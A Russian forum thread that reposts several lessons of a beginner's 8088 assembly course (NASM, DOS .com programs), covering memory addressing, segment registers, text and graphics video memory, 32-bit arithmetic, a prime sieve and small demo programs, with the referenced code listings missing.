Ты, наверное, уже понял, что вторым аргументом у всех инструкций сдвига указывается количество позиций, на которое нужно сдвинуть биты регистра. Обрати внимание: если указываешь это количество цифрой, то это может быть только единица. Если хочешь за раз сдвинуть сразу несколько битов, воспользуйся регистром CL.

Еще есть инструкции для циклического сдвига: ror, rcr, rol и rcl. В чем их особенность? Биты, выдвигаемые с одного конца, появляются с другой стороны. Циклический сдвиг вправо выполняется инструкцией ror, а влево — инструкцией rol. rcr/rcl делают то же самое, что ror/rol, только задействуют еще один дополнительный бит — CF. Добавляемый бит берется из CF, а выдвигаемый попадает в CF.

Три логические инструкции плюс одна бесполезная​

В 8088 доступны три логические инструкции: and, or и xor.

Инструкция and эквивалентна оператору & в Си и JavaScript; or — оператору |, а xor — оператору ^.

Еще есть инструкция not, которая принимает только один параметр. Она инвертирует все биты указанного регистра. (not al эквивалентна оператору ~ в Си и JavaScript).

Кроме того, у 8088 есть инструкция neg, которая очень похожа на not, но только она делает не логическую инверсию, а арифметическую: меняет знак у заданного числа.

Еще в ассемблере есть инструкция, которая не делает совершенно ничего. Ты можешь вставить ее в любое место своей программы, и она никак не повлияет на ход выполнения. Конечно, за исключением того, что программа отработает чуть медленнее. Это инструкция nop. Можешь поэкспериментировать с ней. Вставь ее куда душе угодно после директивы org, и ты увидишь, как твоя программа увеличится ровно на один байт (это размер инструкции No OPeration), но работать будет без изменений.


Знакомимся с инструкциями инкремента и декремента​

Инструкции инкремента и декремента позволяют увеличивать или уменьшать на единицу значение регистра или значение переменной в памяти. Эти инструкции работают и с байтами (8 бит), и со словами (16 бит).

Тут мы:
  1. загружаем в AL ASCII-код цифры ноль, то есть 0x30;
  2. показываем цифру на экране;
  3. прибавляем к AL единицу;
  4. повторяем шаги 2–3 до тех пор, пока в AL не окажется 0x39;
  5. показываем текущий символ и делаем все то же самое, что раньше, но в обратном порядке;
  6. отнимаем от AL единицу;
  7. выводим на экран то, что получилось;
  8. повторяем до тех пор, пока в AL не окажется 0x30.
В итоге программа выводит на экран вот такую строку: 012345678987654321.

В этой программе есть еще одна новая для тебя инструкция — cmp (CoMPartion — сравнить). Она работает так же, как инструкция вычитания, но с одним значительным отличием: cmp не меняет значение регистра. Она меняет только биты регистра флагов (Flags).

Обычно cmp используется совместно с инструкциями условного перехода, такими как je (Jump if Equal — «прыгнуть, если равно»), jne (Jump if Not Equal — «прыгнуть, если не равно») и подобными.


Пишем простую игрушку «Угадай число»​

Ну вот, теперь ты знаешь достаточно ассемблерных инструкций, чтобы написать несложную игру «Угадай число».

Как она будет работать? После запуска игры компьютер загадывает число, выводит на экран знак вопроса и ждет ответа игрока. Если число, введенное игроком, отличается от того, которое загадал компьютер, игра снова выводит знак вопроса. Когда игрок наконец угадывает число, программа печатает его на экране и добавляет смайлик (знак двоеточия и закрывающую скобку). Вот ассемблерный код, который воплощает описанную задумку.

Как компьютер загадывает число? Он считывает из порта 0x40 псевдослучайное число. Этот порт подключен к микросхеме таймера. Таймер без остановки отсчитывает такты процессора. Когда ты считываешь значение с его порта, то каждый раз получаешь псевдослучайное число в диапазоне от 0x00 до 0xFF. Вот и весь секрет.

Теперь небольшой организационный момент. До сих пор, когда нам с тобой нужна была буква, мы задавали ее шестнадцатеричным ASCII-кодом. Но у компилятора NASM есть удобная особенность: ты можешь напечатать любой символ, заключить его в апострофы, и NASM сам преобразует его в ASCII-код.

Давай перепишем нашу игру, воспользовавшись этой особенностью NASM.

Согласись, так исходный код выглядит куда более читабельно.


Выводы​

Поздравляю, ты сделал небольшой шаг в освоении ассемблера! Теперь ты можешь создавать на нем небольшие игрушки. Та, которую мы с тобой сделали, занимает всего 70 байт.

 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Другие статьи курса
  • Где данные хранить можно, а где нельзя
  • Пишем подпрограмму: печать числа на экране
  • Пишем программу для поиска простых чисел
  • Разбираемся, какие бывают режимы адресации
  • Инструкции перехода
  • Итоги
На ассемблере ты можешь хранить переменные двумя способами: в регистрах и в памяти. С регистрами все понятно. А вот с памятью у тебя могут возникнуть проблемы. Тут есть подводные камни. Читай дальше, и ты узнаешь, как можно размещать переменные и как нельзя, какие бывают режимы адресации и как это знание поможет тебе кодить на ассемблере более эффективно.
После первых двух уроков ты умеешь пользоваться 16-битными регистрами процессора и их 8-битными половинками. Это хорошее начало. Но! Программируя на ассемблере, очень часто сталкиваешься с тем, что нужно намного больше переменных, чем может поместиться в регистры процессора. Часть переменных приходится хранить в памяти. Сейчас расскажу, как это делать. На примере программы, которая ищет простые числа.

Где данные хранить можно, а где нельзя​

Перед тем как размещать в памяти переменные, разберись, куда их можно всовывать, а куда нельзя. Потому что здесь ассемблер тебя никак не контролирует. Ты волен размещать переменные всюду, где только захочешь. Ассемблер все безропотно скомпилирует, а процессор все прилежно выполнит. Вот только ответственности за последствия они не несут. Вся ответственность целиком лежит на тебе. Но ты не пугайся! Просто постарайся запомнить раз и навсегда два способа, которыми размещать переменные нельзя, и три — которыми можно. Сначала — как нельзя.


  1. Из двух предыдущих уроков ты уже знаешь, что первые 0x100 байтов любой программы, скомпилированной в файл с расширением .com, зарезервированы операционной системой. Всовывать сюда свои переменные точно не стоит.
  2. Процессор 8088 не отличает данные от кода. Если ты напишешь на ассемблере вот такой код, процессор радостно выполнит не только строчки с инструкциями, но и строчки с данными — ничуть не переживая о том, что от выполнения строчек с данными получается в лучшем случае абракадабра, а в худшем программа рушится или застревает в бесконечном цикле.

Никогда так не делай! Когда резервируешь какую-то область памяти под переменную, обязательно проследи, чтобы эта область памяти была за пределами потока выполнения. Где же такую область найти? Ведь ассемблерные инструкции, по которым процессор идет, теоретически могут размещаться в любой ячейке памяти.

Есть по крайней мере три участка, куда процессор никогда не заглядывает. Вот там и храни свои переменные:

  • после инструкции int 0x20, которую мы ставим в конце программы, чтобы вернуться в командную строку ОС;
  • сразу после безусловного перехода jmp;
  • сразу после инструкции возврата ret.

Пишем подпрограмму: печать числа на экране​

В начале статьи об арифметических функциях мы написали библиотеку library.asm с двумя функциями: display_letter (выводит букву на экран) и read_keyboard (считывает символ с клавиатуры). Сейчас для вывода простых чисел на экран нам нужна более продвинутая функция вывода, которая выводит не одну букву или цифру, а полноценное число. Давай напишем такую функцию (добавь ее в конец файла library.asm).

Как она работает? Берет из AX число, которое надо вывести на экран. Рекурсивно делит его на 10. После каждого деления сохраняет остаток на стеке. Доделившись до нуля, начинает выходить из рекурсии. Перед каждым выходом снимает со стека очередной остаток и выводит его на экран. Уловил мысль?

На всякий случай, если ты с ходу не понял, как работает display_number, вот тебе три примера.

Допустим, AX = 4. Тогда после деления на 10 в AX будет 0, и поэтому display_number не зайдет в рекурсию. Просто выведет остаток, то есть четверку, и всё.

Если AX = 15, то после деления на 10 в AX будет единица. И поэтому подпрограмма залезет в рекурсию. Покажет там единицу, затем выйдет из внутреннего вызова в основной и там напечатает цифру 5.

Если ты так до конца и не понял, то сделай вот что. Помести в AX число побольше, скажем 4527, и поработай в роли процессора: пройди мысленно по всем строкам программы. При этом отмечай в блокноте — в обычном бумажном блокноте, не на компьютере — каждый свой шаг. Когда в очередной раз заходишь рекурсивно в display_number, отступай в блокноте на один символ вправо от начала строки. А когда выходишь из рекурсии (инструкция ret), отступай на один символ влево.

И еще: имей в виду, что после того, как display_number выполнится, в AX уже не будет того значения, которое ты туда поместил перед тем, как вызвать подпрограмму.


Пишем программу для поиска простых чисел​

Два предварительных шага сделаны: ты уяснил, где переменные размещать можно, а где нельзя, и ты написал функцию печати десятичного числа. Теперь давай пощупаем всю эту теорию руками. Напишем с тобой программу, которая ищет простые числа.

Напомню, простые числа — это такие, которые делятся только на единицу и на себя. Если у них есть другие делители, то такие числа называются составными. Для поиска простых чисел существует целая куча алгоритмов. Мы воспользуемся одним из них — решетом Эратосфена. В чем суть алгоритма? Он постепенно отфильтровывает все числа за исключением простых. Начиная с числа 2 и заканчивая n. Число n задаешь ты. Как только алгоритм натыкается на очередное простое число a, он пробегает по всему списку до конца (до n) и вычеркивает из него все числа, которые делятся на a. В Википедии есть наглядная анимированная гифка. Посмотри ее, и сразу поймешь, как работает решето Эратосфена.


Что здесь происходит?
  1. Начинаем с двойки.
  2. Смотрим: очередное число a помечено как составное? Да — идем на шаг 5.
  3. Если не помечено (не вычеркнуто), значит, a — простое.
  4. Пробегаем по всему списку и вычеркиваем все числа, которые делятся на a.
  5. Инкрементируем текущее число.
  6. Повторяем шаги 2–5, пока не достигли n.
Каким образом будем бегать по списку и вычеркивать оттуда составные числа? Сначала нам этот список надо создать! Причем в регистры его точно втиснуть не получится. Нам потребуется битовый массив размером n. По биту на каждое число от 2 до n (или вполовину меньше, если мы оптимизируем алгоритм так, чтобы он не видел четные числа; это ты можешь сделать в качестве домашнего задания). Соответственно, чем больше n, до которого ты хочешь найти простое число, тем вместительней должен быть массив.

Все понятно? Давай закодим!

Реализация​

Сначала создаем битовый массив и заполняем его нулями. Мы помещаем массив по адресу 0x8000. Этот произвольно выбранный адрес не конфликтует с нашим кодом, не пересекается с ним.


Обрати внимание на квадратные скобки вот в этой строчке: mov [bx], al. Что они значат? Так мы просим процессор: а скопируй-ка то значение, что хранится в регистре AL, в ячейку памяти, на которую указывает регистр BX. И уж точно это не значит, что мы копируем значение регистра AL в регистр BX.

Идем дальше. Если очередное число простое, выводим его на экран.

Что тут делаем? Начинаем с двойки (записываем ее AX). Затем заходим в цикл и помещаем в BX указатель на ту ячейку битового массива, которая соответствует числу из регистра AX. Затем смотрим, записан ли там нолик (ты же помнишь, мы сначала инициализировали весь массив нулями). Если там не ноль, а единица, значит, мы на какой-то из предыдущих итераций уже пометили это число как составное. В таком случае прыгаем на @@already_marked. А если все-таки ноль, вызываем display_number, чтобы показать найденное простое число.

Обрати внимание на префикс byte в инструкции cmp. Он говорит ассемблеру о том, что мы сравниваем байты (8-битные значения), а не слова (16-битные значения).

Здесь, как и в предыдущем куске кода, сначала помещаем в BX указатель на ту ячейку битового массива, которая соответствует числу из регистра AX. Но только первоначально выполняем инструкцию add дважды. Зачем? Нам сейчас нужно не само простое число, а те числа, которые делятся на него.

Перед тем как пометить очередное число как составное, проверяем, чтобы значение регистра BX не выходило за пределы таблицы: table + table_size (CoMParsion). Инструкция jnc говорит процессору: прыгни, если флаг переноса не установлен в единицу (Jump if Not Carry). Ну или если по-русски: прыгни, если левый операнд инструкции cmp больше правого или равен ему.

Если значение регистра BX все еще находится в пределах битового массива, записываем единичку в ту ячейку памяти, на которую указывает BX. Обрати внимание: квадратные скобки в строчке mov byte [bx], 1 означают, что мы записываем единицу по адресу, на который указывает BX. Мы здесь не присваиваем единицу регистру BX.

И мы снова используем префикс byte (на этот раз в инструкции mov). Тем самым говорим ассемблеру, что присваиваем байт (8 бит), а не слово (16 бит).

Дальше переходим к проверке следующего числа.

Что тут делаем? Если AX не достиг n (последнего числа, которое нас интересует), прыгаем на @@next_number и повторяем там все шаги алгоритма.

Остался последний штрих: добавь в конец программы строчки из библиотеки library.asm. Вот и всё!

Если ты переписал весь код правильно, то, когда запустишь программу, получишь список простых чисел. Поэкспериментируй с программой. Подставляй разные числа в table_size, и ты увидишь, как список простых чисел становится короче или длиннее.

И вот тебе еще домашнее задание: измени программу таким образом, чтобы между простыми числами вместо запятых выводились байты 0x0D и 0x0A (это значит, что тебе надо будет добавить дополнительный вызов для display_letter). Посмотри, что произойдет.


Разбираемся, какие бывают режимы адресации​

Мы уже много раз использовали конструкцию [bx] в инструкции mov, чтобы получить доступ к адресу, который хранится в BX. В принципе, этого достаточно, чтобы создавать в памяти переменные и пользоваться ими. Ты можешь писать что-то вроде mov [bx], al / mov al, [bx], и будет тебе счастье.

Но это лишь один из режимов адресации, которые есть у процессора 8088. Когда ты разбираешься, в каких случаях какой режим лучше использовать, ты пишешь более эффективные программы. Вот распространенные режимы адресации, которые можно использовать в mov и во всех арифметических инструкциях.

Такие конструкции можно писать и в качестве левого операнда, и в качестве правого. Обрати внимание на слагаемые d8 и d16. d8 — это 8-битное смещение в диапазоне от –128 до 127. d16 — 16-битное смещение в диапазоне от 0 до 65 535.

И в чем же преимущество, когда ты знаешь не один режим адресации ([bx]), а много? Смотри. Допустим, чтобы прочитать значение из ячейки памяти, где хранится нужный элемент массива, тебе необходимо сложить два регистра. Если ты кроме [bx] ничего не знаешь, тебе придется сначала задействовать инструкцию add и только потом mov.

Но когда ты знаешь и другие режимы адресации, то, скорее всего, напишешь по-другому, лучше.


Инструкции перехода​

До сих пор мы использовали только пять инструкций безусловного и условного перехода: jmp, je, jne, jc и jnc. Но процессор 8088 поддерживает намного больше инструкций перехода.

Самое важное, что тебе про них надо помнить, — что у инструкций условного перехода действует ограничение на длину прыжка. Они могут прыгать только на 128 байт назад и только на 127 байт вперед. Но не переживай. Тебе не придется лихорадочно подсчитывать байты своей программы. Если какой-то из условных переходов окажется слишком длинным, nasm сгенерирует дальний прыжок.

Вот список инструкций условного перехода, которые поддерживает 8088.

Большинство из этих инструкций напрямую соотносятся с операторами сравнения в языках высокого уровня.

Кстати, имей в виду, что некоторые инструкции процессора, например mov, никогда не переключают никакие биты регистра флагов. Это значит, что их можно вставлять между инструкцией сравнения и инструкцией перехода. Например, писать что-то вроде такого.

Что тут делается? Сравниваем AX с семеркой. Затем помещаем в BX значение 0x2222 — до того как сделать джамп. Если AX = 7, загружаем в BX значение 0x7777. Технически этот кусок кода работает медленнее, чем тот, что ниже. Но зато он короче!

Что выбрать, скорость или лаконичность, решай сам.


Итоги​

Теперь ты умеешь работать не только с теми переменными, которые хранятся в регистрах, но и с теми, которые хранятся в памяти. Ты знаешь, какие бывают режимы адресации, и понимаешь, как выбирать наиболее подходящий. Плюс ты познакомился с целой кучей инструкций условного перехода. С таким арсеналом ты уже можешь писать на ассемблере довольно-таки мощные программы!
 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Другие статьи курса
  • Знакомимся с сегментными регистрами
  • Как ПК распределяет память
  • Прямой доступ к видеопамяти в текстовом режиме
  • Рисуем психоделические круги
  • Выводы
В этой статье я познакомлю тебя с сегментной адресацией и сегментными регистрами, расскажу, как распределяется первый мегабайт оперативной памяти компьютера, затем мы обсудим получение прямого доступа к видеопамяти в текстовом режиме, а самое главное — поностальгируем по фильму «Хакер»! Под конец напишем психоделическую программу, которой позавидовали бы его герои.

Знакомимся с сегментными регистрами​

Для начала разберемся, что такое сегментные регистры. Процессор 8088 умеет адресовать один мегабайт оперативной памяти, несмотря на то что регистры у него 16-битные. В норме 16 битами можно адресовать только 64 Кбайт. И как же тогда выкручивается 8088? Как ему удается адресовать целый мегабайт? Для этого в 8088 есть сегментные регистры! Четыре сегментных регистра: CS, ES, DS и SS, по 16 бит каждый. У каждого из этих регистров есть свое назначение.

Регистр CS указывает на сегмент кода. Процессор обращается к CS всякий раз, когда надо считать из памяти очередную инструкцию для выполнения.


Регистры DS и ES указывают на сегмент данных. К этим регистрам процессор обращается, когда выполняемая инструкция считывает или сохраняет данные. Имей в виду: DS используется чаще, чем ES. ES обычно вступает в игру, когда ты обрабатываешь массивы данных, индексируя их регистром DI.

Регистр SS указывает на сегмент стека. К этому регистру процессор обращается, когда выполняет инструкции, взаимодействующие со стеком: push, pop, call и ret.

Значения, хранимые в сегментных регистрах, — это базовый адрес, поделенный на 16. Если в CS записано значение 0x0000, процессор будет считывать инструкции из области памяти 0x00000 — 0x0FFFF. Если в регистре CS записано значение 0x1000, то процессор будет считывать инструкции из области памяти 0x10000 — 0x1FFFF.

Если тебе надо адресоваться в какой-то другой сегмент, а не тот, который будет задействован по умолчанию, напиши этот сегмент в префиксе к инструкции, которую используешь.

Поместить какое-то число в сегментные регистры напрямую нельзя. Для этого надо:

  • либо сначала записать число в какой-нибудь регистр и уже этот регистр присвоить сегментному регистру;
  • либо воспользоваться парой инструкций push/pop;
  • либо воспользоваться инструкциями lds/les.

Процессор 8088 настолько лоялен, что позволит тебе даже вот такую инструкцию: pop cs. Но только имей в виду, что это нарушит поток выполнения инструкций. В более новых процессорах, начиная с 80286, такую диверсию сделать уже не получится. И слава богу!

Ну вот вроде бы и все, что тебе надо знать о сегментных регистрах. Теперь ты с их помощью (в основном с помощью регистров DS и ES) можешь получать доступ ко всему первому мегабайту памяти ПК.


Как ПК распределяет память​

Понимание того, как распределяется память в ПК, поможет тебе делать разные интересные вещи.

Начало загрузки у всех компьютеров одинаковое: они сначала переходят в текстовый цветной режим 80x25. К видеопамяти экрана, который работает в таком режиме, можно обращаться напрямую, через вот этот диапазон адресов: 0xB8000 — 0xB8FFF.

Первый байт диапазона — это первый символ в верхнем левом углу экрана. Второй байт — это цвет фона под символом и цвет самого символа. Затем (третьим байтом) идет второй символ. И так для всех 25 строк по 80 символов каждая.

INFO​

Исторический факт. IBM PC образца 1981 года поставлялся в двух модификациях: с монохромным режимом и с цветным режимом. Тогдашним разработчикам игрушек приходилось придумывать разные эвристики, чтобы понять, какая у компьютера графика — монохромная или цветная. Несколько старых добрых игрушек для этого писали какую-нибудь цифру по адресу 0xB8000 и считывали ее обратно, чтобы узнать, в каком режиме сейчас идет работа — в цветном или в монохромном.

Прямой доступ к видеопамяти в текстовом режиме​

Перед тем как мы сможем напрямую обращаться к видеопамяти экрана, то есть без использования сервисов BIOS, надо задать нужный нам видеорежим.

В этом режиме видеопамять экрана доступна по адресу 0xB8000. Теперь ты можешь легко получить доступ к ней. Примерно так, как в коде ниже.

Обрати внимание, что после того, как ты выполнил этот кусок кода, ты не сможешь обращаться к переменным, которые сохраняешь в сегменте кода, как мы это делали в примерах из прошлых уроков. Потому что DS и ES теперь нацелены не на сегмент кода, а на видеопамять.

Как же быть? Как вариант, можно перед тем, как нацеливать DS и ES на видеопамять, сохранить их значение на стеке. Потом нацелиться на видеопамять и вывести нужные данные на экран. А после этого снять со стека сохраненный указатель и снова поместить его в DS и ES.

Видеопамять, которая отображается на экран, организована вот таким вот образом.

Здесь на каждый символ отведено по два байта. Первый байт — это ASCII-код буквы. А второй — цвет фона и символа.

Кодировка цветов следующая.

А теперь давай посмотрим все это на живом примере. Напиши и выполни вот такой код.

Мы здесь задействовали парочку новых инструкций: cld и stosw. Инструкция cld очищает флаг направления. Зачем нужен этот флаг? Некоторые продвинутые инструкции (многошаговые) используют его, чтобы понять, что нужно делать с регистрами SI и DI после очередного шага выполнения: увеличивать их или уменьшать.

Инструкция stosw записывает значение регистра AX по адресу ES:DI и увеличивает регистр DI на два (размер слова — сдвоенного байта). Обрати внимание: если флаг направления установлен в единицу (это можно сделать инструкцией sed), то та же самая инструкция будет не увеличивать DI, а уменьшать. Тоже на два. Поэтому мы сначала используем cld, поскольку не знаем, какое на данный момент значение у флага направления.

Всякий раз, когда мы загружаем AX, у нас AL содержит саму букву, которую надо нарисовать на экране, а AH — цвет символа и цвет его фона (в данном случае синий фон и разные цвета для каждой буквы).

Когда мы пишем слово (сдвоенный байт) в память, младший байт всегда пишется первым (в данном случае значение регистра AL), а старший байт идет следом (в данном случае значение регистра AH).

Таким образом, после того как весь наш текст записан в видеопамять, память будет заполнена вот так.

Теперь ты умеешь рисовать на экране цветные буквы. При желании можешь поэкспериментировать с символами псевдографики, которые доступны в BIOS.

Кстати, на всякий случай имей в виду, что в 8088 еще есть инструкция stosb. Она работает так же, как stosw, но только не со словами (сдвоенными байтами), а с байтами. stosb пишет значение регистра AL по адресу ES:DI и увеличивает DI на единицу (или уменьшает, если флаг направления установлен в единицу).


Рисуем психоделические круги​

А теперь переходим к самому интересному! Сейчас напишем программу, которая рисует психоделические круги, как в фильме «Хакер». Помнишь там эпизод, где наши с тобой коллеги восхищаются «миллионом психоделических оттенков» на ноуте Кислотного Ожога?

Мы нарисуем то же самое, но в классическом текстовом режиме, в разрешении 80 × 25 с 16 цветами для фона и текста. Итак, приступим.

Сначала инициализируем видеорежим и настраиваем сегменты на видеопамять экрана.

Потом инициализируем таймер, который поможет добавить динамики к нашей психоделической анимации. Зачем он нам? Чтобы на первых 32 кадрах анимации рисовать увеличивающиеся круги, а на остальных 32 — уменьшающиеся.

Что тут происходит? Сервис 0x00 прерывания 0x1A считывает, сколько тиков прошло с того момента, как была загружена система. Результат возвращается в 32-битном виде, помещается в пару регистров: CX:DX.

Поскольку для наших нужд надо вести счет только от 0 до 63 и затем обратно, мы проверяем шестой бит (0x40), и если он установлен в единицу, то добавляем к текущему значению счетчика знак минус.

Затем инструкцией and al, 0x3F выделяем шесть младших битов и при помощи вычитания приводим знаковое 8-битное значение к диапазону -32..+31, которое затем расширяем до слова (до сдвоенного байта). Результат помещаем в CX.

А теперь самое интересное. Вычисляем параметры текущего шага анимации и отрисовываем ее.

Что мы тут делаем? В DI у нас будет храниться текущая позиция на экране, куда выводить символ. Сначала сбрасываем ее в 0, чтобы рисовать начиная с левого верхнего угла. В DH и DL будем хранить номер строки и столбца. А в BX у нас будет адрес таблицы синусов (ее покажу чуть позже).

Теперь, когда мы проинициализировали все нужные переменные, нам надо вычислить с помощью таблицы синусов, каким цветом отрисовывать символ (у нас это будет звездочка) в очередной позиции экрана. Чтобы в итоге получились круги.

Для этого делаем вот что. Берем номер текущей строки (из DH). Умножаем его на два, чтобы круги были кругами, а не овалами. По этому значению извлекаем синус из таблицы символов (смотри инструкцию xlat).

Что это за инструкция такая, xlat? Ее мнемоника — это сокращение от слова translate. Она считывает байт с адреса BX+AL и помещает его в регистр AL. То есть делает то же самое, что инструкция mov, al, [bx+al], но только более лаконично. Перед тем как обращаться к xlat, надо сначала загрузить в BX адрес таблицы, а в AL — индекс нужного нам элемента из этой таблицы.

Обрати внимание на префикс CS, который стоит перед xlat. Он говорит процессору, что сейчас при считывании данных надо обращаться к кодовому сегменту. Без префикса CS данные будут считаны из сегмента, на который указывает регистр DS. И получится белиберда, потому что DS сейчас указывает на экран, а не на код, где размещена таблица синусов. После того как мы извлекли значение синуса, сохраняем его на стеке (смотри инструкцию push ax).

На этом полдела сделано. Мы взяли номер текущей строки (DH) и вычислили по нему синус. Дальше делаем то же самое для номера текущего столбца (DL). В итоге у нас получается два значения синуса. Одно сейчас хранится в регистре AX, а другое лежит на стеке.

Поэтому мы снимаем со стека предыдущее значение синуса (смотри инструкцию pop DX) и складываем с текущим значением синуса, которое сейчас хранится в AX. И еще плюсуем к ним текущее время (в тиках, от момента включения компьютера). Младший байт полученного результата — это и есть искомое значение цвета (цвет фона + цвет текста).

Надеюсь, ты не забыл, что всю эту чехарду с синусами мы затеяли для того, чтобы вычислить, каким цветом отрисовывать звездочку в очередной позиции экрана и получить в итоге круги?

Итак, нужный цвет мы вычислили и теперь выводим звездочку на экран: mov [di], ax. Затем добавляем к DI двойку, чтобы перейти на следующую позицию экрана — где будем рисовать новую звездочку, но уже другим цветом. Ты ведь помнишь, что у нас на каждый символ отводится по два байта?

Наконец, заключительный штрих: корректируем номера текущей строки и текущего столбца и переходим к следующей итерации цикла.

Что мы тут делаем? Сначала берем номера текущих строки и столбца (их мы сохранили на стеке). Помещаем их в DX. Затем прибавляем единицу к DL. Если результат получился меньше 80 (столько столбцов у нас на экране), то повторяем цикл. А если досчитали до 80, то переходим на следующую строку: увеличиваем DH на единицу, а DL обнуляем. Но делаем этот последний шаг, только если не досчитали до 25. А если в DH у нас уже 25, то переходим в самое начало программы (смотри метку @@main_loop) и начинаем все заново.

В итоге получается анимация с психоделическими кругами, которые то растут, то уменьшаются.

Кадр из нашей программы

Выводы​

Теперь ты умеешь работать с памятью, попрактиковался в сегментной адресации, получил прямой доступ к видеопамяти экрана в текстовом режиме. А также нарисовал своими руками психоделическую анимацию. Ты теперь уже неплохо владеешь ассемблером. Поздравляю! И до встречи на следующем уроке!
 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Простейшие операции над 32-битными числами
  • Реализуем операцию умножения двух 32-битных чисел
  • Знакомимся с графическим видеорежимом
  • Рисуем множество Мандельброта: подготовительные шаги
  • Краткий ликбез по работе со стеком
  • Рисуем множество Мандельброта: делаем вычисления
  • Усовершенствованная подпрограмма умножения 32-битных чисел
  • Выводы
Как ты знаешь, регистры процессора 8088 — 16-битные. Однако при необходимости ты можешь работать через эти регистры не только с 16-битными числами, но и с числами большей разрядности: и с 32-битными, и даже более крупными. В этой статье я сначала расскажу как, а затем мы нарисуем знаменитый фрактал — множество Мандельброта.

Простейшие операции над 32-битными числами​

Сразу возникает вопрос: если регистры у нас 16-битные, то как с их помощью обрабатывать 32-битные числа? Ответ очевиден: мы просто будем задавать каждое число не одним регистром, а сразу двумя.

Только нам надо сначала определиться, какими регистрами и как мы будем для этого пользоваться. Давай не станем изобретать велосипед, а поищем подсказки в самом процессоре 8088.


У 8088 есть инструкция mul, которая умножает AX на 16-битный регистр и кладет результат в DX:AX. Также у него есть инструкция div, которая делит DX:AX на 16-битный регистр; результат попадает в регистр AX, а остаток — в DX. Еще у 8088 есть инструкция cwd. Она конвертирует знаковое 16-битное число из регистра AX в 32-битное число DX:AX.

Давай и мы, по примеру этих трех инструкций, тоже будем хранить 32-битные числа в DX:AX (в DX старшее слово, в AX — младшее). Но чтобы выполнять арифметические операции, нам нужно еще одно 32-битное число. Его, по аналогии с первым, будем хранить в CX:BX (в CX старшее слово, в BX — младшее).

Ну вот, мы с тобой условились, где и как хранить 32-битные числа. Теперь давай реализуем для них операцию сложения и операцию вычитания. Для этого нам пригодятся инструкции adc и sbb. Вот так выглядит сложение.

Удивлен, что операция сложения у нас заняла всего две инструкции? Сейчас объясню, что тут происходит. Дело в том, что, когда ты выполняешь инструкцию add, она не только складывает два числа, но и изменяет флаг переноса. Когда результат операции сложения не умещается в сдвоенный байт, инструкция add помещает старшую цифру результата (это всегда единица) во флаг переноса.

Инструкция adc dx, cx выполняет вот такую операцию: DX = DX + CX + перенос, то есть прибавляет к итоговому результату то значение, которое хранится во флаге переноса.

Теперь давай реализуем вычитание 32-битных чисел по такому же принципу.

Что тут происходит? Инструкция sub вычитает из одного числа другое, а еще изменяет флаг переноса. Когда операция вычитания делает «заем» из соседнего разряда, флаг переноса устанавливается в единицу.

Инструкция sbb dx, cx выполняет вот такую операцию: DX = DX – CX – перенос, то есть вычитает из итогового результата то значение, которое хранится во флаге переноса.

Мы с тобой успешно реализовали операции сложения и вычитания. Теперь давай реализуем логическое инвертирование и арифметическое инвертирование.

Чтобы сделать логическое инвертирование 32-битного числа (not), нам надо просто переключить все биты числа на противоположные.

Если требуется выполнить арифметическое инвертирование (neg), то есть поменять знак числа, нужно сделать то же самое, но только прибавить единицу к результату.


Реализуем операцию умножения двух 32-битных чисел​

А теперь давай реализуем операцию умножения. Это уже будет посложнее. Здесь нужно вспомнить то, что ты изучал в начальной школе.

Ты же, надеюсь, еще не разучился умножать числа в столбик? На всякий случай напомню, что мы тут делаем.

Поочередно, справа налево, умножаем каждую цифру множимого на вторую цифру множителя. Так у нас получается первая строчка промежуточного результата. Затем умножаем каждую цифру множимого на первую цифру множителя. Так у нас получается вторая строчка промежуточного результата. Затем сдвигаем вторую строчку на один разряд влево и суммируем два промежуточных результата.

Получается, чтобы перемножить два двузначных числа, нам нужно выполнить четыре операции умножения. А если надо перемножить числа большей разрядности, то операций умножения потребуется еще больше.

Но это если «в роли цифры» у нас выступают цифры от 0 до 9. Однако, зная, что у процессора 8088 есть инструкция для умножения 16-битных чисел, мы для удобства можем в своем алгоритме умножения «назначить на роль цифры» сдвоенный байт. То есть будем считать значения вроде 0x6725 и 0x1561 не числами, а цифрами!

Почему это удобнее? Потому что для умножения двух 32-битных чисел (по две 16-битные цифры на каждое) нам понадобится всего четыре инструкции умножения. Тогда умножение двух 32-битных чисел можно будет реализовать вот так.

Умножение, конечно, выглядит сложновато по сравнению со сложением и вычитанием. Но не переживай, сейчас все объясню. Здесь весь алгоритм разделен на четыре операции умножения: по одной на каждое 16-битное слово. Точно так же, как на рисунке с умножением в столбик.

Кстати, если такой же алгоритм реализовывать на 32-битном процессоре, его можно расширить до операций над 64-битными числами, а если на 64-битном процессоре, то над 128-битными числами.

Но давай вернемся к нашему 16-битному алгоритму. Обрати внимание, здесь под результат отводится только 48 бит. А это значит, что если умножить, допустим, 0xFFFFFFFF на 0xFFFFFFFF, то старшие два байта потеряются. Чтобы они не терялись, нужно 64 бита, а не 48. Можешь в качестве домашнего задания доделать функцию — чтобы она возвращала 64-битный результат.


Знакомимся с графическим видеорежимом​

Мы реализовали пять операций для работы с 32-битными числами: сложение, вычитание, логическую инверсию, арифметическую инверсию, умножение. Давай скорее применим их на какой-нибудь интересной задаче!

Создадим программу, которая с их помощью рисует изображение. Точнее, две программы: простенькую и сложную. Простенькая программа будет рисовать на экране цветовую палитру. Ее мы напишем, чтобы разобраться, как работать с графическим режимом. А потом примемся за программу посложнее, в которой для рисования используется насыщенная математика.

До сих пор мы работали только в текстовом режиме (80 × 25), а сейчас поработаем в графическом режиме, с разрешением 320 на 200 пикселей и с 256 цветами. В этом режиме видеопамять экрана расположена по адресу 0xA0000–0xAFFFF. Как к ней получить доступ? Просто загрузи в регистры DS и ES значение 0xA000.

А теперь зададим положение текущего пикселя на экране.

Дальше вычисляем адрес очередного пикселя для рисования.

Теперь у нас есть адрес текущего пикселя (0–63 999, или 0x0000–0xF9FF).

Обрати внимание на инструкцию xchg. Она у нас здесь меняет значение двух регистров: AX и DI. Но то значение, которое теперь записано в регистре DI, нам не нужно. Нам надо только поместить в DI значение AX. Зачем же тогда нам xchg? Почему бы не написать простой mov? Потому что xchg позволяет сэкономить один байт. Инструкция mov di, ax использует два байта, а xchg — один. xchg всегда экономит нам байт, когда один из операндов — это AX, а другой — еще какой-то 16-битный регистр.

